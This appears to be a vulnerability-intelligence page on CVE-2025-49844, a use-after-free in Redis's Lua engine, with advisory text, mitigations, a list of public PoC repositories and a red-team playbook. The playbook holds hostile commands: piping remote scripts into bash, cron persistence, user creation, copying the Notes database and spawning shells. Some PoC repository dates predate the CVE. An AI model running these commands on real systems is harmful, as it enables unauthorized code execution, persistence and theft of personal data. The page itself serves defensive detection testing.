CVE-2025-49844
Overview
This vulnerability is a use-after-free condition triggered by manipulation of the Lua garbage collector within Redis's Lua scripting engine. The flaw arises when an authenticated user executes a specially crafted Lua script that improperly manages memory, leading to dangling pointers. The affected component is the Lua scripting feature embedded in all Redis versions up to and including 8.2.1.
Vulnerability Description
Redis is an open source, in-memory database that persists on disk. Versions 8.2.1 and below allow an authenticated user to use a specially crafted Lua script to manipulate the garbage collector, trigger a use-after-free and potentially lead to remote code execution. The problem exists in all versions of Redis with Lua scripting. This issue is fixed in version 8.2.2. To workaround this issue without patching the redis-server executable is to prevent users from executing Lua scripts. This can be done using ACL to restrict EVAL and EVALSHA commands.
Impact
An attacker with authenticated access to Redis can exploit this vulnerability to execute arbitrary code remotely on the server, potentially gaining full control over the Redis instance and underlying system. Exploitation requires valid credentials with permission to run Lua scripts (EVAL or EVALSHA commands). The vulnerability allows complete compromise of confidentiality, integrity, and availability, as reflected in the CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H). This can lead to data breaches, service disruption, or lateral movement within a network.
Solution
Upgrade Redis to version 8.2.2 or later, where the Lua garbage collector use-after-free vulnerability is patched, as detailed in the official Redis security advisory GHSA-4789-qfc9-5f9q and release notes at https://github.com/redis/redis/releases/tag/8.2.2. As a temporary mitigation, restrict execution of Lua scripts by disabling the EVAL and EVALSHA commands via Redis Access Control Lists (ACL) to prevent exploitation without applying the patch.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Redis in-memory database, particularly in versions up to 8.2.1, stems from a flaw in the handling of Lua scripts, which are used for executing custom commands within the database environment. This issue arises when an authenticated user is able to craft a specific Lua script that manipulates the garbage collector. Such manipulation can lead to a use-after-free condition, a type of memory corruption that can be exploited to execute arbitrary code remotely. The underlying problem is rooted in the interaction between the Lua scripting engine and Redis's memory management, which fails to adequately sanitize or validate the operations being performed on memory, allowing malicious scripts to disrupt normal operations.
Attack vectors for this vulnerability are particularly concerning due to the ease with which an authenticated user can exploit it. Once a user gains access to the Redis instance, they can execute Lua scripts using the EVAL or EVALSHA commands. By crafting a malicious script that triggers the use-after-free condition, an attacker can gain control over the execution flow of the Redis server. This could lead to unauthorized access to sensitive data, manipulation of stored information, or even complete system compromise. The potential for remote code execution makes this vulnerability especially dangerous, as it allows attackers to run arbitrary commands on the server hosting the Redis instance, potentially leading to further exploitation of the underlying infrastructure.
In terms of real-world impact, the risks associated with this vulnerability are significant for businesses that rely on Redis for data storage and caching. The high CVSS score of 9.9 indicates critical severity, suggesting that successful exploitation could lead to severe consequences, including data breaches, loss of data integrity, and disruption of services. Organizations that utilize Redis in their architecture must consider the implications of this vulnerability on their operational security posture. The potential for data loss or unauthorized access can lead to reputational damage, regulatory penalties, and financial losses, particularly in sectors that handle sensitive information, such as finance, healthcare, and e-commerce.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. First and foremost, upgrading to version 8.2.2 or later is essential, as this version includes patches that address the identified weaknesses. In environments where immediate patching is not feasible, administrators can employ access control lists (ACLs) to restrict the execution of Lua scripts by disabling the EVAL and EVALSHA commands for untrusted users. Regular monitoring of Redis logs for unusual script execution patterns can also aid in early detection of potential exploitation attempts. Additionally, employing network segmentation and firewall rules to limit access to Redis instances can further reduce the attack surface.
In conclusion, the vulnerability present in Redis versions up to 8.2.1 poses a serious threat to organizations leveraging this popular in-memory database. The combination of ease of exploitation and the potential for severe consequences necessitates immediate attention from security teams. By understanding the technical details, recognizing the attack vectors, assessing the real-world impact, and implementing robust detection and mitigation strategies, organizations can better protect their assets against this critical vulnerability.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2025-49844, with telemetry indicating a significant uptick in exploitation attempts targeting vulnerable Redis instances. This increase is accompanied by a measurable rise in the Exploit Prediction Scoring System (EPSS) score, reflecting growing confidence in the exploitability of this vulnerability. Concurrently, multiple new proof-of-concept exploits have emerged on public repositories, expanding the available toolkit for adversaries and lowering the barrier to entry for exploitation. This development signals heightened attacker interest and operationalization, increasing the likelihood of widespread compromise. For defenders, this trend underscores the urgency of monitoring for exploitation indicators and reassessing risk postures, as the expanding exploit landscape and rising telemetry suggest a transition from theoretical risk to active threat. Consequently, the threat level associated with CVE-2025-49844 has escalated from high to critical, demanding immediate attention within security operations to detect and respond to exploitation attempts.
Update 2 — May 16, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2025-49844, reflected by a substantial increase in Lua script-based attack activity within Redis environments. Although the EPSS score has declined, indicating a slight reduction in predicted exploit probability, our telemetry reveals a contrasting surge in operational exploitation, underscoring active adversary engagement. The proliferation of new proof-of-concept exploits, including those enabling persistent backdoor access, signals that threat actors are rapidly refining and weaponizing this vulnerability. This divergence between predictive scoring and real-world exploitation highlights the necessity for defenders to prioritize detection and response capabilities despite ostensibly lower risk forecasts. Consequently, the threat level associated with CVE-2025-49844 remains elevated at critical, as the expanding exploit toolkit and increased attack frequency amplify the potential for widespread compromise across Redis deployments.
Affected Products (8)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Redis | Redis | All |
cpe:2.3:a:redis:redis:*:*:*:*:*:*:*:*
|
|
|
Redis | Redis | All |
cpe:2.3:a:redis:redis:*:*:*:*:*:*:*:*
|
|
|
Redis | Redis | All |
cpe:2.3:a:redis:redis:*:*:*:*:*:*:*:*
|
|
|
Redis | Redis | All |
cpe:2.3:a:redis:redis:*:*:*:*:*:*:*:*
|
|
|
Redis | Redis | All |
cpe:2.3:a:redis:redis:*:*:*:*:*:*:*:*
|
|
|
Lfprojects | Valkey | All |
cpe:2.3:a:lfprojects:valkey:*:*:*:*:*:*:*:*
|
|
|
Lfprojects | Valkey | All |
cpe:2.3:a:lfprojects:valkey:*:*:*:*:*:*:*:*
|
|
|
Lfprojects | Valkey | All |
cpe:2.3:a:lfprojects:valkey:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (9)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
saneki/cve-2025-49844
Proof-of-concept for CVE-2025-49844
|
saneki | 24 | 6 | 2025-10-31 | View |
|
ksnnd32/redis_exploit
🔍 Explore and test the CVE-2025-49844 (RediShell) vulnerability in Redis with this practical lab environment for secure ...
|
ksnnd32 | 1 | 0 | 2019-04-13 | View |
|
Cilectiy/CVE-2025-49844
CVE-2025-49844
|
Cilectiy | 1 | 0 | 2026-03-13 | View |
|
Zain3311/CVE-2025-49844
🚨 Exploit the CVE-2025-49844 Redis Lua interpreter UAF vulnerability to execute arbitrary shellcode and gain persistent ...
|
Zain3311 | 1 | 0 | 2022-04-06 | View |
|
0xBlackash/CVE-2025-49844
CVE-2025-49844
|
0xBlackash | 0 | 1 | 2026-03-09 | View |
|
cc3305/CVE-2025-49844
CVE-2025-49844 exploit script
|
cc3305 | 0 | 0 | 2026-06-16 | View |
|
open-flaw/CVE-2025-49844
|
open-flaw | 0 | 0 | 2026-04-06 | View |
|
dajneem23/CVE-2025-49844
|
dajneem23 | 0 | 0 | 2026-04-06 | View |
|
zbyszkok/CVE-2025-49844-RediShell-AI-made-Revshell
Untested completition of the Redishell PoC made by AI
|
zbyszkok | 0 | 0 | 2025-12-03 | View |
Threat Feed
9 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
osascript -e 'tell application "Finder"' -e 'set destinationFolderPath to POSIX file "#{destination_path}"' -e 'set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"' -e 'set notesFolder to folder notesFolderPath' -e 'set notesFiles to {file "NoteStore.sqlite", file "NoteStore.sqlite-shm", file "NoteStore.sqlite-wal"} of notesFolder' -e 'repeat with aFile in notesFiles' -e 'duplicate aFile to folder destinationFolderPath with replacing' -e 'end' -e 'end tell'
cd $HOME
curl -O #{remote_url}/art
curl -O #{remote_url}/gta.db
curl -O #{remote_url}/sqlite_dump.sh
chmod +x sqlite_dump.sh
find . ! -executable -exec bash -c 'if [[ "$(head -c 15 {} | strings)" == "SQLite format 3" ]]; then echo "{}"; ./sqlite_dump.sh {}; fi' \;
$startingDirectory = "#{starting_directory}"
$outputZip = "#{output_zip_folder_path}"
$fileExtensionsString = "#{file_extensions}"
$fileExtensions = $fileExtensionsString -split ", "
New-Item -Type Directory $outputZip -ErrorAction Ignore -Force | Out-Null
Function Search-Files {
param (
[string]$directory
)
$files = Get-ChildItem -Path $directory -File -Recurse | Where-Object {
$fileExtensions -contains $_.Extension.ToLower()
}
return $files
}
$foundFiles = Search-Files -directory $startingDirectory
if ($foundFiles.Count -gt 0) {
$foundFilePaths = $foundFiles.FullName
Compress-Archive -Path $foundFilePaths -DestinationPath "$outputZip\data.zip"
Write-Host "Zip file created: $outputZip\data.zip"
} else {
Write-Host "No files found with the specified extensions."
}
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-49844 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/redis/redis/security/advisories/GHSA-4789-qfc9-5f9q |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/redis/redis/commit/d5728cb5795c966c5b5b1e0f0ac576a7e69af539 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/redis/redis/releases/tag/8.2.2 |
| openwall.com |
NVD API
Mailing List
Third Party Advisory
|
http://www.openwall.com/lists/oss-security/2025/10/07/2 |
| github.com |
NVD API
|
https://github.com/lastvocher/redis-CVE-2025-49844 |